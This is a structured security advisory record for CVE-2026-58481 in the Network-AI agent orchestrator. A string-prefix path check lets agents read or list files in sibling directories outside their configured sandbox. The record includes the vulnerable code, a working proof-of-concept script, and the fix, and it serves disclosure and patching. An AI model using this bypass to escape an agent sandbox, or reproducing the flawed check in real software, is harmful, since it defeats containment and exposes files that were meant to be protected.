{"id":"CVE-2026-58481","aliases":["CVE-2026-58481","GHSA-jvcm-f35g-w78p"],"related":[],"kind":"vulnerability","state":"published","title":"Network-AI: AgentRuntime sandbox path-prefix checks allow file access outside the configured base directory","summary":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `AgentRuntime` promises scoped file access under a configured sandbox `basePath`, but its path containment checks use raw string prefix tests. A sandbox base such as `/tmp/network-ai-sandbox` also matches a sibling path such as `/tmp/network-ai-sandbox_evil/secret.txt`. An agent/user that can call `AgentRuntime.readFile()` or `AgentRuntime.listDir()` can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. The issue is fixed in v5.12.2. `SandboxPolicy.resolvePath()` and `isPathAllowed()` now use separator-anchored prefix checks (`resolved === base || resolved.startsWith(base + path.sep)`) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. `/srv/app-evil` vs base `/srv/app`) is no longer treated as in-scope.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `AgentRuntime` promises scoped file access under a configured sandbox `basePath`, but its path containment checks use raw string prefix tests. A sandbox base such as `/tmp/network-ai-sandbox` also matches a sibling path such as `/tmp/network-ai-sandbox_evil/secret.txt`. An agent/user that can call `AgentRuntime.readFile()` or `AgentRuntime.listDir()` can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. The issue is fixed in v5.12.2. `SandboxPolicy.resolvePath()` and `isPathAllowed()` now use separator-anchored prefix checks (`resolved === base || resolved.startsWith(base + path.sep)`) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. `/srv/app-evil` vs base `/srv/app`) is no longer treated as in-scope.","source":"cvelist"},{"lang":"en","text":"### Summary\n`AgentRuntime` promises scoped file access under a configured sandbox `basePath`, but its path containment checks use raw string prefix tests. A sandbox base such as `/tmp/network-ai-sandbox` also matches a sibling path such as `/tmp/network-ai-sandbox_evil/secret.txt`.\n\nAn agent/user that can call `AgentRuntime.readFile()` or `AgentRuntime.listDir()` can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. Confirmed in Network-AI 5.12.1. Severity: Medium, CVSS 3.1 vector `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`.\n\n### Details\nThe vulnerable containment check is in `lib/agent-runtime.ts`:\n\n```ts\nresolvePath(filePath: string): string | null {\n  const normalized = normalize(filePath);\n  const absolute = isAbsolute(normalized)\n    ? normalized\n    : join(this.config.basePath, normalized);\n  const resolved = resolve(absolute);\n\n  // Traversal check\n  if (!resolved.startsWith(this.config.basePath)) return null;\n  return resolved;\n}\n```\n\n`startsWith()` is not path-boundary-aware. If `this.config.basePath` is `/tmp/network-ai-sandbox`, then `/tmp/network-ai-sandbox_evil/secret.txt` also starts with `/tmp/network-ai-sandbox` despite being outside the sandbox.\n\nThe same pattern appears in `SandboxPolicy.isPathAllowed()` for allowed and blocked paths. `FileAccessor.read()`, `FileAccessor.write()`, and `FileAccessor.list()` rely on these checks before I/O, and `AgentRuntime.readFile()` exposes this behavior. Reads auto-approve by default when `autoApproveReads` is enabled.\n\nAffected source evidence:\n\n- `lib/agent-runtime.ts:393-423` — `isPathAllowed()` / `resolvePath()` use string `startsWith()` containment.\n- `lib/agent-runtime.ts:669-691` — file read sink relies on those checks.\n- `lib/agent-runtime.ts:933-958` — `AgentRuntime.readFile()` exposes file reads.\n\n### PoC\nRun from the repository root after installing dependencies:\n\n```bash\nnode -r ts-node/register/transpile-only - <<'TS'\nconst { mkdtempSync, mkdirSync, writeFileSync, rmSync } = require('fs');\nconst { tmpdir } = require('os');\nconst { join } = require('path');\nconst { AgentRuntime } = require('./lib/agent-runtime');\n\n(async () => {\n  const parent = mkdtempSync(join(tmpdir(), 'network-ai-poc-'));\n  const base = join(parent, 'sandbox');\n  const sibling = join(parent, 'sandbox_evil');\n  mkdirSync(base);\n  mkdirSync(sibling);\n  writeFileSync(join(sibling, 'secret.txt'), 'SECRET_OUTSIDE_SANDBOX', 'utf8');\n\n  const runtime = new AgentRuntime({\n    policy: { basePath: base, allowedPaths: ['.'], allowedCommands: [] },\n  });\n\n  const absoluteRead = await runtime.readFile(join(sibling, 'secret.txt'), 'poc-agent');\n  const relativeRead = await runtime.readFile('../sandbox_evil/secret.txt', 'poc-agent');\n  console.log(JSON.stringify({\n    base,\n    outside: join(sibling, 'secret.txt'),\n    absoluteRead: { success: absoluteRead.success, content: absoluteRead.content },\n    relativeRead: { success: relativeRead.success, content: relativeRead.content },\n  }, null, 2));\n  rmSync(parent, { recursive: true, force: true });\n})();\nTS\n```\n\nObserved result: both reads succeed and return `SECRET_OUTSIDE_SANDBOX`, even though the file is outside `basePath`.\n\n### Impact\nAn agent/user with access to `AgentRuntime` file operations can bypass the intended sandbox root and read or list files outside the sandbox when those files are located in sibling paths sharing the sandbox base path prefix. This is a sandbox boundary bypass and path traversal vulnerability. Default confirmed impact is read/list disclosure. If an embedding application uses `FileAccessor.write()` directly or auto-approves runtime writes, the same root cause may allow writes outside the intended sandbox to prefix-collision sibling paths. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`SandboxPolicy.resolvePath()` and `isPathAllowed()` now use separator-anchored prefix checks (`resolved === base || resolved.startsWith(base + path.sep)`) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. `/srv/app-evil` vs base `/srv/app`) is no longer treated as in-scope.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Network-AI es un orquestador multiagente de TypeScript/Node.js. Antes de la versión 5.12.2, AgentRuntime promete acceso a archivos con ámbito bajo un basePath de sandbox configurado, pero sus comprobaciones de contención de rutas usan pruebas de prefijo de cadena sin procesar. Una base de sandbox como ’/tmp/network-ai-sandbox’ también coincide con una ruta hermana como ’/tmp/network-ai-sandbox_evil/secret.txt’. Un agente/usuario que puede llamar a AgentRuntime.readFile() o AgentRuntime.listDir() puede leer o listar archivos fuera del sandbox previsto cuando la ruta de destino está en un directorio hermano que comparte el prefijo de la ruta base. Esto rompe el límite de sandbox documentado. El problema se ha corregido en la v5.12.2. SandboxPolicy.resolvePath() e isPathAllowed() ahora usan comprobaciones de prefijo ancladas a separadores (’resolved === base || resolved.startsWith(base + path.sep)’) tanto para la lista de permitidos como para la lista de bloqueados. Un directorio hermano que simplemente comparte un prefijo de nombre (p. ej., ’/srv/app-evil’ frente a la base ’/srv/app’) ya no se trata como dentro del ámbito.","source":"nvd"}],"published":"2026-06-19T21:42:29.000Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-23"],"affected":[{"ranges":[{"version":"< 5.12.2","status":"affected"}],"vendor":"Jovancoding","product":"Network-AI","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.12.2"}],"ecosystem":"npm","package":"network-ai","purl":"pkg:npm/network-ai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"5.12.2"}],"vendor":"network-ai","product":"network-ai","cpe":"cpe:2.3:a:network-ai:network-ai:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-jvcm-f35g-w78p","tags":["exploit","patch","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2","tags":["patch","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-20T17:42:14.900Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-58481","url":"https://www.cve.org/CVERecord?id=CVE-2026-58481","licence":"CVE Terms of Use","modified":"2026-07-20T17:42:43.376Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jvcm-f35g-w78p","url":"https://github.com/advisories/GHSA-jvcm-f35g-w78p","licence":"CC-BY-4.0","modified":"2026-07-21T03:56:46.626Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-58481","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58481","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:29.257Z","epss":{"score":0.00203,"percentile":0.10792,"date":"2026-12-02T12:00:21.000Z"}}